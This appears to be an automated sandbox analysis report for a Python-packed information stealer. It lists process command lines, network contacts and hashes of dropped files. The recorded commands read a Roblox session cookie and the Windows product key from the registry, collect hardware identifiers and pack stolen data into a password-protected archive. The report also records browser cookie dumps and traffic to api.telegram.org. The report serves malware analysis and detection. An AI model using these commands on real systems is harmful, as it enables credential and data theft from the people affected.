C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY

C:\Windows\System32\WaaSMedicAgent.exe

C:\Windows\System32\WaaSMedicAgent.exe 1d9aa08afc00931cb3037f7791821741 xLqZ4ZNpZ0mewOCpBc2kmQ.0.1.0.0.0

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "getmac"

C:\Windows\system32\getmac.exe

getmac

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI11122\rar.exe a -r -hp"straji" "C:\Users\Admin\AppData\Local\Temp\rvLoV.zip" *"

C:\Users\Admin\AppData\Local\Temp\_MEI11122\rar.exe

C:\Users\Admin\AppData\Local\Temp\_MEI11122\rar.exe a -r -hp"straji" "C:\Users\Admin\AppData\Local\Temp\rvLoV.zip" *

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic os get Caption"

C:\Windows\System32\Wbem\WMIC.exe

wmic os get Caption

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"

C:\Windows\System32\Wbem\WMIC.exe

wmic computersystem get totalphysicalmemory

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"

C:\Windows\System32\Wbem\WMIC.exe

wmic csproduct get uuid

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"

C:\Windows\System32\Wbem\WMIC.exe

wmic path win32_VideoController get name

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 133.211.185.52.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 64.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 gstatic.com udp
GB 216.58.204.67:443 gstatic.com tcp
US 8.8.8.8:53 67.204.58.216.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 150.171.28.10:443 g.bing.com tcp
US 8.8.8.8:53 10.28.171.150.in-addr.arpa udp
US 8.8.8.8:53 57.169.31.20.in-addr.arpa udp
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 api.telegram.org udp
NL 149.154.167.220:443 api.telegram.org tcp
US 8.8.8.8:53 1.112.95.208.in-addr.arpa udp
US 8.8.8.8:53 220.167.154.149.in-addr.arpa udp
US 8.8.8.8:53 154.239.44.20.in-addr.arpa udp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 241.42.69.40.in-addr.arpa udp
US 8.8.8.8:53 22.236.111.52.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp

Files

C:\Users\Admin\AppData\Local\Temp\_MEI11122\python312.dll

MD5 18677d48ba556e529b73d6e60afaf812
SHA1 68f93ed1e3425432ac639a8f0911c144f1d4c986
SHA256 8e2c03e1ee5068c16e61d3037a10371f2e9613221a165150008bef04474a8af8
SHA512 a843ab3a180684c4f5cae0240da19291e7ed9ae675c9356334386397561c527ab728d73767459350fa67624f389411d03665f69637c5f5c268011d1b103d0b02

C:\Users\Admin\AppData\Local\Temp\_MEI11122\VCRUNTIME140.dll

MD5 be8dbe2dc77ebe7f88f910c61aec691a
SHA1 a19f08bb2b1c1de5bb61daf9f2304531321e0e40
SHA256 4d292623516f65c80482081e62d5dadb759dc16e851de5db24c3cbb57b87db83
SHA512 0da644472b374f1da449a06623983d0477405b5229e386accadb154b43b8b083ee89f07c3f04d2c0c7501ead99ad95aecaa5873ff34c5eeb833285b598d5a655

memory/4644-25-0x00007FFBAC960000-0x00007FFBAD024000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\_MEI11122\_ctypes.pyd

MD5 4878ad72e9fbf87a1b476999ee06341e
SHA1 9e25424d9f0681398326252f2ae0be55f17e3540
SHA256 d699e09727eefe5643e0fdf4be4600a1d021af25d8a02906ebf98c2104d3735d
SHA512 6d465ae4a222456181441d974a5bb74d8534a39d20dca6c55825ebb0aa678e2ea0d6a6853bfa0888a7fd6be36f70181f367a0d584fccaa8daa940859578ab2b8

C:\Users\Admin\AppData\Local\Temp\_MEI11122\base_library.zip

MD5 100dfe4e2eb2ce4726a43dbd4076b4ee
SHA1 5671116823ad50f18c7f0e45c612f41711cff8fe
SHA256 10b1adf18da86baebdbe7ee7561bc0ffa2aabf88e9f03cc34ab7943b25665769
SHA512 1b63f7841ea699c46c86568407d4f1cff21db9f5d57aecc374e3eae3c283349090d828df909f0213d1b177992b49caf22d5154958080fc06238e9e3b0cdf7bb3

C:\Users\Admin\AppData\Local\Temp\_MEI11122\libffi-8.dll

MD5 08b000c3d990bc018fcb91a1e175e06e
SHA1 bd0ce09bb3414d11c91316113c2becfff0862d0d
SHA256 135c772b42ba6353757a4d076ce03dbf792456143b42d25a62066da46144fece
SHA512 8820d297aeda5a5ebe1306e7664f7a95421751db60d71dc20da251bcdfdc73f3fd0b22546bd62e62d7aa44dfe702e4032fe78802fb16ee6c2583d65abc891cbf

memory/4644-48-0x00007FFBC4920000-0x00007FFBC492F000-memory.dmp

memory/4644-47-0x00007FFBBF540000-0x00007FFBBF565000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\_MEI11122\_ssl.pyd

MD5 c0512ca159b58473feadc60d3bd85654
SHA1 ac30797e7c71dea5101c0db1ac47d59a4bf08756
SHA256 66a0e06cce76b1e332278f84eda4c032b4befbd6710c7c7eb6f5e872a7b83f43
SHA512 3999fc4e673cf2ce9938df5850270130247f4a96c249e01258a25b125d64c42c8683a85aec64ed9799d79b50f261bcfac6ee9de81f1c5252e044d02ac372e5c4

C:\Users\Admin\AppData\Local\Temp\_MEI11122\_sqlite3.pyd

MD5 81a43e60fc9e56f86800d8bb920dbe58
SHA1 0dc3ffa0ccbc0d8be7c7cbae946257548578f181
SHA256 79977cbda8d6b54868d9cfc50159a2970f9b3b0f8df0ada299c3c1ecfdc6deb0
SHA512 d3a773f941f1a726826d70db4235f4339036ee5e67667a6c63631ff6357b69ba90b03f44fd0665210ee243c1af733c84d2694a1703ebb290f45a7e4b1fc001c7

C:\Users\Admin\AppData\Local\Temp\_MEI11122\_socket.pyd

MD5 aa8435614d30cee187af268f8b5d394b
SHA1 6e218f3ad8ac48a1dde6b3c46ff463659a22a44e
SHA256 5427daade880df81169245ea2d2cc68355d34dbe907bc8c067975f805d062047
SHA512 3ccf7ec281c1dc68f782a39f339e191a251c9a92f6dc2df8df865e1d7796cf32b004ea8a2de96fe75fa668638341786eb515bac813f59a0d454fc91206fee632

C:\Users\Admin\AppData\Local\Temp\_MEI11122\_queue.pyd

MD5 c2ba2b78e35b0ab037b5f969549e26ac
SHA1 cb222117dda9d9b711834459e52c75d1b86cbb6e
SHA256 d8b60222732bdcedddbf026f96bddda028c54f6ae6b71f169a4d0c35bc911846
SHA512 da2bf31eb6fc87a606cbaa53148407e9368a6c3324648cb3df026a4fe06201bbaab1b0e1a6735d1f1d3b90ea66f5a38d47daac9686520127e993ecb02714181f

C:\Users\Admin\AppData\Local\Temp\_MEI11122\_lzma.pyd

MD5 25b96925b6b4ea5dd01f843ecf224c26
SHA1 69ba7c4c73c45124123a07018fa62f6f86948e81
SHA256 2fbc631716ffd1fd8fd3c951a1bd9ba00cc11834e856621e682799ba2ab430fd
SHA512 97c56ce5040fb7d5785a4245ffe08817b02926da77c79e7e665a4cfa750afdcb7d93a88104831944b1fe3262c0014970ca50a332b51030eb602bb7fb29b56ae3

C:\Users\Admin\AppData\Local\Temp\_MEI11122\_hashlib.pyd

MD5 edfb41ad93bc40757a0f0e8fdf1d0d6c
SHA1 155f574eef1c89fd038b544778970a30c8ab25ad
SHA256 09a0be93d58ce30fa7fb8503e9d0f83b10d985f821ce8a9659fd0bbc5156d81e
SHA512 3ba7d225828b37a141ed2232e892dad389147ca4941a1a85057f04c0ed6c0eab47b427bd749c565863f2d6f3a11f3eb34b6ee93506dee92ec56d7854e3392b10

C:\Users\Admin\AppData\Local\Temp\_MEI11122\_decimal.pyd

MD5 d60e08c4bf3be928473139fa6dcb3354
SHA1 e819b15b95c932d30dafd7aa4e48c2eea5eb5fcb
SHA256 e21b0a031d399ffb7d71c00a840255d436887cb761af918f5501c10142987b7b
SHA512 6cac905f58c1f25cb91ea0a307cc740575bf64557f3cd57f10ad7251865ddb88965b2ad0777089b77fc27c6d9eb9a1f87456ddf57b7d2d717664c07af49e7b58

C:\Users\Admin\AppData\Local\Temp\_MEI11122\_bz2.pyd

MD5 5cd942486b252213763679f99c920260
SHA1 abd370aa56b0991e4bfee065c5f34b041d494c68
SHA256 88087fef2cff82a3d2d2d28a75663618271803017ea8a6fcb046a23e6cbb6ac8
SHA512 6cd703e93ebccb0fd896d3c06ca50f8cc2e782b6cc6a7bdd12786fcfb174c2933d39ab7d8e674119faeca5903a0bfac40beffb4e3f6ca1204aaffefe1f30642c

C:\Users\Admin\AppData\Local\Temp\_MEI11122\unicodedata.pyd

MD5 3f2da3ed690327ae6b320daa82d9be27
SHA1 32aebd8e8e17d6b113fc8f693259eba8b6b45ea5
SHA256 7dc64867f466b666ff1a209b0ef92585ffb7b0cac3a87c27e6434a2d7b85594f
SHA512 a4e6d58477baa35100aa946dfad42ad234f8affb26585d09f91cab89bbef3143fc45307967c9dbc43749ee06e93a94d87f436f5a390301823cd09e221cac8a10

C:\Users\Admin\AppData\Local\Temp\_MEI11122\sqlite3.dll

MD5 8a6c2b015c11292de9d556b5275dc998
SHA1 4dcf83e3b50970374eef06b79d323a01f5364190
SHA256 ad9afd1225847ae694e091b833b35aa03445b637e35fb2873812db358d783f29
SHA512 819f4e888831524ceeed875161880a830794a748add2bf887895d682db1cec29eaddc5eddf1e90d982f4c78a9747f960d75f7a87bdda3b4f63ea2f326db05387

C:\Users\Admin\AppData\Local\Temp\_MEI11122\select.pyd

MD5 f5540323c6bb870b3a94e1b3442e597b
SHA1 2581887ffc43fa4a6cbd47f5d4745152ce40a5a7
SHA256 b3ff47c71e1023368e94314b6d371e01328dae9f6405398c72639129b89a48d2
SHA512 56ee1da2fb604ef9f30eca33163e3f286540d3f738ed7105fc70a2bccef7163e0e5afd0aeb68caf979d9493cd5a6a286e6943f6cd59c8e18902657807aa652e3

C:\Users\Admin\AppData\Local\Temp\_MEI11122\rarreg.key

MD5 4531984cad7dacf24c086830068c4abe
SHA1 fa7c8c46677af01a83cf652ef30ba39b2aae14c3
SHA256 58209c8ab4191e834ffe2ecd003fd7a830d3650f0fd1355a74eb8a47c61d4211
SHA512 00056f471945d838ef2ce56d51c32967879fe54fcbf93a237ed85a98e27c5c8d2a39bc815b41c15caace2071edd0239d775a31d1794dc4dba49e7ecff1555122

C:\Users\Admin\AppData\Local\Temp\_MEI11122\rar.exe

MD5 9c223575ae5b9544bc3d69ac6364f75e
SHA1 8a1cb5ee02c742e937febc57609ac312247ba386
SHA256 90341ac8dcc9ec5f9efe89945a381eb701fe15c3196f594d9d9f0f67b4fc2213
SHA512 57663e2c07b56024aaae07515ee3a56b2f5068ebb2f2dc42be95d1224376c2458da21c965aab6ae54de780cb874c2fc9de83d9089abf4536de0f50faca582d09

C:\Users\Admin\AppData\Local\Temp\_MEI11122\libssl-3.dll

MD5 264be59ff04e5dcd1d020f16aab3c8cb
SHA1 2d7e186c688b34fdb4c85a3fce0beff39b15d50e
SHA256 358b59da9580e7102adfc1be9400acea18bc49474db26f2f8bacb4b8839ce49d
SHA512 9abb96549724affb2e69e5cb2c834ecea3f882f2f7392f2f8811b8b0db57c5340ab21be60f1798c7ab05f93692eb0aeab077caf7e9b7bb278ad374ff3c52d248

C:\Users\Admin\AppData\Local\Temp\_MEI11122\libcrypto-3.dll

MD5 7f1b899d2015164ab951d04ebb91e9ac
SHA1 1223986c8a1cbb57ef1725175986e15018cc9eab
SHA256 41201d2f29cf3bc16bf32c8cecf3b89e82fec3e5572eb38a578ae0fb0c5a2986
SHA512 ca227b6f998cacca3eb6a8f18d63f8f18633ab4b8464fb8b47caa010687a64516181ad0701c794d6bfe3f153662ea94779b4f70a5a5a94bb3066d8a011b4310d

C:\Users\Admin\AppData\Local\Temp\_MEI11122\blank.aes

MD5 bc6530cb59238f72f30e974bec96e95d
SHA1 451e932492e6fba66a44190dcc2b4452f1060e65
SHA256 14bcbf32c6dad4237244b2cf44abc80efc0a9681ee59cc656a588b065d5fa828
SHA512 a91f5e3dde8d75d8bc4c5386283c32824c271b5646bd9ece207405ee290341ca94dec8ff6a274c4c21c4723b505b5428f53ce03c48d0eae7c762b28156615ddf

memory/4644-54-0x00007FFBBB500000-0x00007FFBBB52D000-memory.dmp

memory/4644-56-0x00007FFBBB610000-0x00007FFBBB62A000-memory.dmp

memory/4644-58-0x00007FFBBB200000-0x00007FFBBB224000-memory.dmp

memory/4644-60-0x00007FFBAC620000-0x00007FFBAC79F000-memory.dmp

memory/4644-62-0x00007FFBC1860000-0x00007FFBC1879000-memory.dmp

memory/4644-69-0x00007FFBBF570000-0x00007FFBBF57D000-memory.dmp

memory/4644-68-0x00007FFBAC960000-0x00007FFBAD024000-memory.dmp

memory/4644-70-0x00007FFBABB00000-0x00007FFBABBCD000-memory.dmp

memory/4644-73-0x00007FFBBB8F0000-0x00007FFBBB923000-memory.dmp

memory/4644-72-0x000002B6C4240000-0x000002B6C4769000-memory.dmp

memory/4644-71-0x00007FFBAB5D0000-0x00007FFBABAF9000-memory.dmp

memory/4644-75-0x00007FFBBF540000-0x00007FFBBF565000-memory.dmp

memory/4644-78-0x00007FFBBF4D0000-0x00007FFBBF4DD000-memory.dmp

memory/4644-77-0x00007FFBBB780000-0x00007FFBBB794000-memory.dmp

memory/4644-80-0x00007FFBAC500000-0x00007FFBAC61B000-memory.dmp

memory/1160-90-0x0000027A42650000-0x0000027A42672000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5ordcihu.l5z.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4644-111-0x00007FFBBB610000-0x00007FFBBB62A000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 62623d22bd9e037191765d5083ce16a3
SHA1 4a07da6872672f715a4780513d95ed8ddeefd259
SHA256 95d79fd575bbd21540e378fcbc1cd00d16f51af62ce15bae7080bb72c24e2010
SHA512 9a448b7a0d867466c2ea04ab84d2a9485d5fd20ab53b2b854f491831ee3f1d781b94d2635f7b0b35cb9f2d373cd52c67570879a56a42ed66bc9db06962ed4992

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 8740e7db6a0d290c198447b1f16d5281
SHA1 ab54460bb918f4af8a651317c8b53a8f6bfb70cd
SHA256 f45b0efc0833020dfeeaad0adc8ed10b0f85e0bc491baf9e1a4da089636bccf5
SHA512 d91fe9666c4923c8e90e5a785db96e5613b8cb3bf28983296a2f381ccdcd73d15254268548e156c8150a9a531712602313ba65f74cec5784341c8d66b088750b

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 d28a889fd956d5cb3accfbaf1143eb6f
SHA1 157ba54b365341f8ff06707d996b3635da8446f7
SHA256 21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45
SHA512 0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

memory/4644-165-0x00007FFBBB200000-0x00007FFBBB224000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 8a9864a3108410099b617e1548085eff
SHA1 e86bfaf23a6c5aa554ef32f199530622b04197b0
SHA256 db02f0618e9848668aab773d6e465cbd2dcd92c705942995dc73cef90b0941fa
SHA512 c79cd815dad61ca4ebd1856fb76c286d7c54ad81c6988d408801650f03bd490b0da10ba8ca00f476854da0be341330f46235477e59ad7a0c0099f6b9c5d50939

memory/4644-178-0x00007FFBAC620000-0x00007FFBAC79F000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\ ‎ ‎      \Credentials\Chrome\Chrome Cookies.txt

MD5 636938927dc7d830dd7c758ece962de7
SHA1 c0be4b3a27d689ae0a6e81a701e8d3c778757fb3
SHA256 d8a20cca212ad043f099419c849533273fbc88fcc20562817de2e4ef6d74e5d9
SHA512 1d5aa1b5e696fdf8f4cf30ce9980ceefd8094401ca2591052ff40f4513efc9e16b9662c58eb9de5530e2371d5e1907a46ef91b9b3852eb067c641efcc5cc3aa0

C:\Users\Admin\AppData\Local\Temp\ ‎ ‎      \Directories\Desktop.txt

MD5 659de42149706bf913bcd9a557f6d4c1
SHA1 546ee8e9944617c7419fd4b267ae885ae76973f1
SHA256 a1517cbc2743909d405fbcc77878bd1d8698f3af6f2524fa8785d45346430ada
SHA512 407b15550a516ea185abb3fc19cefb08cba1948cce346a3f94be7aa823f53969bb3a9d838da764b2e5d8e7f2dd83f5d3ea75043c4f9a6616460b6360d817723b

C:\Users\Admin\AppData\Local\Temp\ ‎ ‎      \Directories\Music.txt

MD5 06f987da6cfafef0a661e844fbab1057
SHA1 5e97ea6ed9409593c635371fa3a6739c30ab7682
SHA256 1661066d32f199a5b1c59d15d253a25873ed80982c95e94c106454574b9371b5
SHA512 0e441703cc72632bb121330038519e7ad867905295b43d0d6e8d229aebc4714643e288e4f0ba4d3c2d7346df1e61df8c0ec8faf89c1063830a61c5378e7f94ee

C:\Users\Admin\AppData\Local\Temp\ ‎ ‎      \Directories\Downloads.txt

MD5 da83080176189066611a3d903136992f
SHA1 c538ae88444fffc86ebf238dd3f6179199fd7109
SHA256 3022f2046b1e7693a1c21021b3bff5547126ba59e3a53e5cd7e002363c5c4f45
SHA512 a4e9515e25d33c6de96fa52f875b5d0349d352abab55a1de4b6846c68fd3ebac02e3682b356eb502937c57270f07abd27d9b8ba134979954f34c8eae5bd43308

C:\Users\Admin\AppData\Local\Temp\ ‎ ‎      \Directories\Documents.txt

MD5 712a32b30c59d4af59ed29ec60f1cea4
SHA1 44ba038b0e0c4a396c368613ce879c0258292101
SHA256 25694b4851464395525e1f1c14fa6e07d8790b78317012cce04f539390a580f9
SHA512 a4905149055aff9fcf8c305acd6d267d03f0ccf569dd8b41bbfb19da6ebb4a5e88d0ab55ad1dd0835b14b7abcca5aa840a15c48d55b6e9806694c17df0488468

C:\Users\Admin\AppData\Local\Temp\ ‎ ‎      \Directories\Pictures.txt

MD5 7db49d6e806f42b8d43481c3a4ad911a
SHA1 ea59ef4715c7569fb61582e9cceb47c451141e3d
SHA256 70ba859b437ce8891c5947f4aa06a13a29bc4b1ee7e03c7f7ee55f40b2eb7252
SHA512 505561f38d8252342f630c3bf3214741f9218774c94477ee3b02ca34301010a2b5a35dad5bf3183c55ffa398f07ca4ea4e3e05e660cdecd4f6d705d30764c4b0

C:\Users\Admin\AppData\Local\Temp\ ‎ ‎      \System\System Info.txt

MD5 98fd6fba922666700d93aa5d882269f5
SHA1 469bf7e201163e8865d6635c974e1aca3ebfbe65
SHA256 a2eaad1962e21fdac26cc3a6275d87f41a5182e60ed7361ed15c00f445908328
SHA512 ddc0fdd38e5496374a0b8b6fa3426eb85700d48d14b1d1528cd205ab691963e81899d52b7b7556effc3c9b3d700b12469559602e81a148ddeafddb8dc6b4d7fd

C:\Users\Admin\AppData\Local\Temp\ ‎ ‎      \System\MAC Addresses.txt

MD5 2916da2176187a27d002af2cca4cd599
SHA1 72888b42cd8595fc8ff4aa5a1b05c53f1546153b
SHA256 796d3b66d68ad8d897209aa8d6a88ab53d791723592f5df6724bd03843abe0c4
SHA512 64b99be0deff4d478aa4f7835899b353d44de4d45d2899fff2f4735b5fa7add66024fdca5ab4627d861c9dc9f41215cfda8c2fdbd999310d1fc5b98a068a2ede

C:\Users\Admin\AppData\Local\Temp\ ‎ ‎      \Directories\Videos.txt

MD5 e140e10b2b43ba6f978bee0aa90afaf7
SHA1 bbbeb7097ffa9c2daa3206b3f212d3614749c620
SHA256 c3a706e5567ca4eb3e18543296fa17e511c7bb6bef51e63bf9344a59bf67e618
SHA512 df5b92757bf9200d0945afda94204b358b9f78c84fbaeb15bdf80eae953a7228f1c19fdf53ed54669562b8f0137623ea6cee38f38ef23a6f06de1673ff05733f

C:\Users\Admin\AppData\Local\Temp\ ‎ ‎      \System\Task List.txt

MD5 bf80e667aab22b44cb6e34e4d17698ab
SHA1 c3cd9983c2bd438f95786ae2ff6c329165bf52f5
SHA256 cb408bdb892c1c5d3cae76a7ae08d357c33fd3995143e8bf2b247dabffd1583c
SHA512 c0c6f0549fc5ca271c3961b4ff0d93d55dd7fa15a796739dbae630a98c71d94fe750cca795c366d649ac6cc7b72c32dfbf78aa095f1f6fbf120f0ff8bcb6e500

C:\Users\Admin\AppData\Local\Temp\rvLoV.zip

MD5 3e43f608bf2da1f25be8abe8bab25c52
SHA1 71d0acfb72c65688ca5367a1e56808696cdc6e6b
SHA256 6605122e1c7fcb768ea4cfb675d9183d6e5893d541e1e03025d6bcd55a26f097
SHA512 02ea21aa3ab125875a3d8a10ffab1b352f6d9e5cb277ea89440d3ca5b2c15c4e3433336c5ca56f4fe96bdf124d915882b5060560e84d8f57b7d55d1bc94e6dfb

memory/4644-194-0x000002B6C4240000-0x000002B6C4769000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 7511c81925750deb7ad1b9b80eea8a8d
SHA1 6ea759b3cbd243ae11435c6d6c5ced185eb01f49
SHA256 5b49723a7773f2fe1f6093236e7b9b2c546f0873635d02346cb39535811234fa
SHA512 5f7e69316d39525d137a7a833f8c746ceef8f1b2295348393fb3244cca8b962fbaad0f7da49da453fe97e2c49b1f41f06138111ac5ff97fdc33c300350ec3a1b

memory/4644-206-0x00007FFBAB5D0000-0x00007FFBABAF9000-memory.dmp

memory/4644-205-0x00007FFBABB00000-0x00007FFBABBCD000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 b79eba6da7413efa3073c1847c013c43
SHA1 8064312a89143475e20a7ef921b586bcfcce052b
SHA256 22afc01e3ae9c96fc2e2b1aa37c821dd94dcf5db576f327eae9c09cb815a97bd
SHA512 f5d1a509e3e21a537a25f948afe34c1ac7a554fa325ee9cbc53df0ba3122f1ec4b32841efeaeba2500595525e22b79c9cfadacf1e11335e7a4444ad3138ca057

memory/4644-234-0x00007FFBBB8F0000-0x00007FFBBB923000-memory.dmp

memory/4644-219-0x00007FFBAC960000-0x00007FFBAD024000-memory.dmp

memory/4644-220-0x00007FFBBF540000-0x00007FFBBF565000-memory.dmp

memory/4644-235-0x00007FFBAC960000-0x00007FFBAD024000-memory.dmp

memory/4644-259-0x00007FFBABB00000-0x00007FFBABBCD000-memory.dmp

memory/4644-258-0x00007FFBBF570000-0x00007FFBBF57D000-memory.dmp

memory/4644-260-0x00007FFBAB5D0000-0x00007FFBABAF9000-memory.dmp

memory/4644-257-0x00007FFBC1860000-0x00007FFBC1879000-memory.dmp

memory/4644-256-0x00007FFBAC620000-0x00007FFBAC79F000-memory.dmp

memory/4644-255-0x00007FFBBB200000-0x00007FFBBB224000-memory.dmp

memory/4644-254-0x00007FFBBB610000-0x00007FFBBB62A000-memory.dmp

memory/4644-253-0x00007FFBBB500000-0x00007FFBBB52D000-memory.dmp

memory/4644-252-0x00007FFBBB8F0000-0x00007FFBBB923000-memory.dmp

memory/4644-251-0x00007FFBBF540000-0x00007FFBBF565000-memory.dmp

memory/4644-250-0x00007FFBC4920000-0x00007FFBC492F000-memory.dmp

memory/4644-249-0x00007FFBAC500000-0x00007FFBAC61B000-memory.dmp

memory/4644-248-0x00007FFBBF4D0000-0x00007FFBBF4DD000-memory.dmp

memory/4644-247-0x00007FFBBB780000-0x00007FFBBB794000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\_MEI11122\blank.aes

MD5 937e7085c803dc6ecd11648175056155
SHA1 89307d372b7797975b945b04a0cda093e75f0e64
SHA256 76617c54741e8d778a3ddab0b5dacaa811548d269e0575598d555b342fbc5d79
SHA512 f1510c80c17b1c927b233b9ec5ff7dde2d33fdc4045208e44ca5708b4de443b1d0a8d42114e409cb1fbecb77d873119c677624e059cb04ac2d33ca7aedafdf0f